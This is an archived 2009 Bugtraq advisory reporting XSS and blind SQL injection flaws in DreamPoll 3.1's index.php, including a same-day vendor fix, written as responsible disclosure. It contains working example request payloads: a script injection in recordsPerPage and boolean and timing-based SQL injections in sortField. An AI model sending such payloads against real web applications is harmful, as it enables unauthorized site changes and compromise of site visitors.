| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <20091008004854.11774.qmail@securityfocus.com> Date: 8 Oct 2009 00:48:54 -0000 From: mark@...osecstuff.com To: bugtraq@...urityfocus.com Subject: DreamPoll 3.1 Vulnerabilities During a recent security audit of the DreamPoll 3.1 software by Dreamlevels, I discovered a number of XSS and SQL Injection vulnerabilities in the application. These vulnerabilities could be exploited to make unauthorized changes to a web site or compromise a client accessing a site that utilizes the application. Details of the vulnerabilities are as follows: XSS ————————- File: index.php Variable: recordsPerPage Example: GET /index.php?action=loginsortField=poll_default&sortDesc=1&recordsPerPage=1>”><ScRiPt%20%0d%0a>alert(911)%3B</ScRiPt> Blind SQL/Xpath Injection ————————- File: index.php Variable: sortField Example: GET /index.php?action=loginsortField=poll_default+and+31337-31337=0&sortDesc=1&recordsPerPage=20 Blind SQL Injection (Timing) ————————- File: index.php Variables: sortField, sortDesc, pageNumber Example: GET /index.php?action=loginsortField=poll_default+and+sleep(3)%23&sortDesc=1&recordsPerPage=20 While not specifically tested, it is likely these vulnerabilities exist in earlier versions of this application as well. The vendor was notified on 09/28/2009 and a fix was released the same day. If you are a current user of this software, contact the vendor for the available fix. http://www.infosecstuff.com
Powered by blists - more mailing lists